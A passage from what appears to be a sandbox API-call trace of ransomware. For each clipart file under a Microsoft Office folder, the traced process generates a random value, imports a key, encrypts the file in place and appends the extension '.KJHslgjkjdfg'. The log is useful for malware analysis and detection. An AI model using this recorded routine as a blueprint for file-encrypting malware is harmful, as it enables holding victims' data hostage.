lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0249.707] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.707] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.707] GetProcessHeap () returned 0x2ef0000 [0249.707] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.707] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.707] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.707] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.708] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.708] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.708] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.708] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.708] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.708] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.708] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4e02, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4e02, lpOverlapped=0x0) returned 1 [0249.712] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e10, dwBufLen=0x4e10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e10) returned 1 [0249.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.712] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4e10, lpOverlapped=0x0) returned 1 [0249.712] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.712] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.713] SetEndOfFile (hFile=0x130) returned 1 [0249.714] GetProcessHeap () returned 0x2ef0000 [0249.714] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.714] GetProcessHeap () returned 0x2ef0000 [0249.714] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.kjhslgjkjdfg")) returned 1 [0249.716] CloseHandle (hObject=0x130) returned 1 [0249.716] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56eeac00, ftCreationTime.dwHighDateTime=0x1bf1119, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56eeac00, ftLastWriteTime.dwHighDateTime=0x1bf1119, nFileSizeHigh=0x0, nFileSizeLow=0x276a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00006_.WMF", cAlternateFileName="")) returned 1 [0249.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.718] GetProcessHeap () returned 0x2ef0000 [0249.719] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.719] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.719] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0249.721] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.721] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.721] GetProcessHeap () returned 0x2ef0000 [0249.722] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.722] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.722] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.722] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.722] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.722] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.722] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.722] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.722] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.722] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.722] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.722] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.722] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x276a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x276a, lpOverlapped=0x0) returned 1 [0249.724] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2770, dwBufLen=0x2770 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2770) returned 1 [0249.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.724] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2770, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2770, lpOverlapped=0x0) returned 1 [0249.724] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.724] SetEndOfFile (hFile=0x130) returned 1 [0249.727] GetProcessHeap () returned 0x2ef0000 [0249.727] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.727] GetProcessHeap () returned 0x2ef0000 [0249.727] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.727] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.kjhslgjkjdfg")) returned 1 [0249.729] CloseHandle (hObject=0x130) returned 1 [0249.729] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6f3e600, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6f3e600, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x228c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00095_.WMF", cAlternateFileName="")) returned 1 [0249.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.731] GetProcessHeap () returned 0x2ef0000 [0249.731] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.731] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.731] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.734] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.734] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.734] GetProcessHeap () returned 0x2ef0000 [0249.734] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.734] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.734] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.734] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.734] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.734] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.734] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.735] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.735] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.735] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.735] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.735] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x228c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x228c, lpOverlapped=0x0) returned 1 [0249.736] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2290, dwBufLen=0x2290 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2290) returned 1 [0249.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.736] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2290, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2290, lpOverlapped=0x0) returned 1 [0249.736] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.736] SetEndOfFile (hFile=0x130) returned 1 [0249.737] GetProcessHeap () returned 0x2ef0000 [0249.738] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.738] GetProcessHeap () returned 0x2ef0000 [0249.738] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.738] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.kjhslgjkjdfg")) returned 1 [0249.739] CloseHandle (hObject=0x130) returned 1 [0249.740] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ba13300, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ba13300, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00097_.WMF", cAlternateFileName="")) returned 1 [0249.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.741] GetProcessHeap () returned 0x2ef0000 [0249.741] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.741] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.741] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.744] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.744] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.744] GetProcessHeap () returned 0x2ef0000 [0249.744] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.744] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.744] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.744] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0249.744] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.744] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0249.744] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0249.744] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0249.744] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0249.745] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.745] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.745] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9fc, lpOverlapped=0x0) returned 1 [0249.745] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa00, dwBufLen=0xa00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa00) returned 1 [0249.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.745] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa00, lpOverlapped=0x0) returned 1 [0249.745] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.745] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.745] SetEndOfFile (hFile=0x130) returned 1 [0249.748] GetProcessHeap () returned 0x2ef0000 [0249.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0249.748] GetProcessHeap () returned 0x2ef0000 [0249.748] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0249.748] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.kjhslgjkjdfg")) returned 1 [0249.751] CloseHandle (hObject=0x130) returned 1 [0249.751] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98217300, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98217300, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x25bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00116_.WMF", cAlternateFileName="")) returned 1 [0249.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0249.754] GetProcessHeap () returned 0x2ef0000 [0249.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0249.754] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0249.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0249.754] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0249.757] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0249.757] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0249.757] GetProcessHeap () returned 0x2ef0000 [0249.757] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0249.757] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0249.757] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0249.757] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, 